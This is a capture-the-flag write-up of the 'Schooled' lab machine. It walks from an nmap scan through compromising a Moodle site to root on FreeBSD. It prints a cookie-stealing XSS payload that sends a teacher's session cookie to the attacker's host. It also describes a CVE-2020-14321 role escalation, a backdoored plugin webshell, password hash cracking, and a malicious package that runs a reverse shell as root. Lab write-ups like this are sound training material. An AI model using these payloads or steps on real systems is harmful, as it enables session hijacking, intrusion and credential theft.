To solve this machine, we begin by enumerating open ports – finding ports
80 open. From the webserver, we find information for a possible subdomain. Going to the subdomain, we find a teaching platform, which allows open enrollment in a course. After enrolling in the course, we find a way to get the teacher’s session token. After hijacking the teacher’s session, we are able to privilege escalate to become a course manager. As a course manager, we are able to install a malicious plugin that allows us to perform remote code execution – using it to get a reverse shell as the
www-data user. From the platform database, we are able to extract password hashes, and crack one that will allow access as the
jamie system user – allowing us to read
jamie, we are able to install system packages. With this ability, we are able to execute a reverse shell as the
root user, and read
Like all machines, we begin by enumerating open ports – finding ports
$ sudo nmap -v -p- --min-rate 3000 $RHOST [...] $ sudo nmap -sV -A -oA enum/nmap/tcp-scripts -p 22,80,33060 $RHOST # Nmap 7.91 scan initiated Sat Apr 3 17:22:55 2021 as: nmap -sV -A -oA enum/nmap/tcp-scripts -p 22,80,33060 10.129.128.213 Nmap scan report for 10.129.128.213 Host is up (0.045s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0) | ssh-hostkey: | 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA) | 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA) |_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519) 80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15 |_http-title: Schooled - A new kind of educational institute 33060/tcp open mysqlx? | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: | Invalid message" | HY000 | LDAPBindReq: | *Parse error unserializing protobuf message" | HY000 | oracle-tns: | Invalid message-frame." |_ HY000 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port33060-TCP:V=7.91%I=7%D=4/3%Time=6068EACB%P=x86_64-pc-linux-gnu%r(NU SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\ SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")% SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\ SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie, SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0 SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\ SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9, SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00 SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9 SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08 SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x SF:05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\x SF:08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20mes SF:sage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAND SF:esk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0 SF:\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC SF:,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0 SF:fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1 SF:a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\ SF:x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\ SF:x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1 SF:a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\ SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: FreeBSD 12.0-RELEASE - 13.0-CURRENT (95%), FreeBSD 11.1-RELEASE (93%), FreeBSD 11.2-RELEASE - 11.3 RELEASE or 11.2-STABLE (93%), FreeBSD 11.0-RELEASE (91%), FreeBSD 11.1-STABLE (90%), FreeBSD 11.2-RELEASE - 11.3-RELEASE (89%), FreeBSD 12.0-RELEASE - 12.1-RELEASE or 12.0-STABLE (89%), FreeBSD 11.0-CURRENT (89%), FreeBSD 12.0-RELEASE (89%), FreeBSD 11.0-RELEASE - 12.0-CURRENT (89%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd TRACEROUTE (using port 33060/tcp) HOP RTT ADDRESS 1 44.03 ms 10.10.14.1 2 44.39 ms 10.129.128.213 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Apr 3 17:23:27 2021 -- 1 IP address (1 host up) scanned in 32.21 seconds
Seeing as port
80 is hosting a webserver, we enumerate it with tools like
nikto, however, we do not see anything that really stands out. Next, we go to the webserver to perform manual enumeration. When we go to the webserver, we see that it appears to be for a learning institute. At the bottom of the page, we see contact details that also discloses the domain name
schooled.htb. For now, we add the domain to our
/etc/hosts file since “.htb” is not a valid top-level domain.
Next, we continue looking through the site pages for more information. On the “Teachers” page and from the testimonials, we learn of potential user names. Lastly, we head to the “About Us” page. From reading this page, we learn the content is delivered using Moodle – which is a learning platform.
As we did not see “moodle” as a subdirectory in our automated enumeration, we assume this may be a potential subdomain. To check this, we also add
moodle.schooled.htb to our
/etc/hosts file. Once added, we try to navigate to
http://moodle.schooled.htb in our browser, and are presented with the Moodle platform.
We try to navigate around the site, but can not seem to do much without an account. We try to also login using
guest authentication, but this also does not give much advancement. We will need to try to register an account.
Since we are not able to make any progress on Moodle without registering an account, that’s what we will do. When we try to register an account, the application discloses it only accepts email addresses that have the
student.schooled.htb subdomain. As there is a chance that email verification is not needed, we change our email subdomain to what is allowed. After doing this, we are allowed access to the platform.
From the dashboard, we are able to enroll in the “Mathematics” course, and navigate to it. Next, we read the announcements. While reading the “Reminder for joining students” announcement, the teacher, Manuel Phillips, tells us to update our MoodleNet profile and he will check it.
Since our teacher will check a link we set on our profile, we can try to perform Cross-Site Scripting to cause the instructor to give us his session cookie. If successful, we will be able to become the instructor. To set our MoodleNet profile link, we will need to edit our account information. In the MoodleNet input field, we can put something like
<script>document.location="http://our-ip/cookies.php?cookie="+document.cookie</script> to cause the teacher to go to a webserver we own, and send their Moodle site cookies. Once set, we can start a
netcat listener on port
80, and wait to see if the instructor is forwarded to us. After some time, the instructor does get forwarded to us and exposes his session cookie.
Once we have his session token, we can replace our own with it, and refresh the page. After the refresh, we are indeed logged in as
The first thing we do is look around the site for potential avenues for exploitation, however, we are unsuccessful. Next, we try to determine the version of the platform, as that will help in enumerating information that we can exploit. To do this, we check github for filenames that will disclose the version. From the repository, we find the file
lib/upgrade.txt, and going to
http://moodle.schooled.htb/moodle/lib/upgrade.txt discloses the application is running version
searchsploit for this version does not reveal anything, so next, we head to the official site to check the changelogs for security updates. Based on the changelog for version
3.9 may have an issue that allows a teacher to privilege escalate into a manager.
From the security announcement, we learn this vulnerability has the CVE ID “CVE-2020-14321” assigned to it. Next, we Google this CVE ID, and come across this GitHub repo that contains a POC and video. Following the video, we go to enroll a random student, but rather than allow the request to go through, we intercept it and forward it to the
BurpSuite Repeater tool. Once in the repeater, we change the “userlist” parameter to the teacher’s userid (24), and change the “roletoassign” parameter to “1”, which is the manager role. Lastly, we send the request, and we are then presented with a success message. We then recheck the course participants, and see that
Manuel is now a manager and teacher.
From our understanding of the video, since we are now a course manager, we should now be able to impersonate an administrator. Doing so, we will then be able to hopefully create a backdoor. Before all this, we need to determine who the platform administrator is. If we remember from the main website,
Lianne Carter is listed as the manager, so she is likely the site administrator. To try to impersonate her, we will need to add her to the mathematics course as a student.
After she is added as a student, we can click her name and go to her profile. At the bottom of her profile page, there is an “Administration” section, with a link to “Log in as”. After clicking that link, we are shown a screen that tells us we are logged in as
Now that we are the site administrator, we want to upload a malicious plugin that will give us remote code execution. To do this, we head to the “Site administration” page. We head to the “Users” tab, and click “Define Roles” under the permissions section. Next, we edit the manager role, and save it unchanged – to capture the post request. From
BurpSuite, we send the request to the Repeater tool, and replace the payload with what was on the Github. This just changes the permissions of our user, and allows us to install plugins. After we submit the request, we go to the “Plugins” tab and can now install plugins.
From the Github repo, we are able to download the backdoored plugin. After we click “Install Plugins”, we upload the malicious plugin. Once it is uploaded, we can now go to
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id to execute system commands.
Using this, we are now able to get a reverse shell as the
Now that we have a shell as
www-data, first thing we want to do is grab credentials from the database. We can grab Moodle database credentials from
/usr/local/www/apache24/data/moodle/config.php. Once we grab the credentials, we attempt to use
mysql to log in, however, it’s not in the user’s PATH. To find it, we can use the
Once we find the
mysql binary, we update the user’s PATH, and log in. Once in, we can now dump the
password columns of the
There are a lot of rows returned, and normally we would try cracking them all. Based on the hash identifier ($2y$), these are
bcrypt hashes, so cracking them would take a very long time. We should be more methodical of the hashes we crack. The
admin user might be one that is worth cracking, as none of the other usernames are system users. To crack it, we use
Once the password is cracked, we attempt to use it with the system usernames, and we are given access to the
jamie user. We are now given access to
Now that we are logged in as
jamie, we begin enumerating potential paths for privilege escalation. Before running automated scripts, we start by running
sudo -l. By doing this, we see we can run a few package installation commands.
As we can install packages as the
root user, we may be able to create a backdoor of some sort. To find a way to weaponize this, we begin by searching for guides on creating FreeBSD packages. In our research, we find this article that seems to detail the process. Following the guide, we create a
setup.sh script. In it, we create the “+POST_INSTALL” file to execute a reverse Bash shell. After the script creates the core package configuration files, we then create the package.
Once the package is created, we start a
netcat listener to handle the reverse shell. Finally, we install the package with the
-U option to avoid the update checks. Once the package installs, we are given a reverse shell as the
root user – which gives access to
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!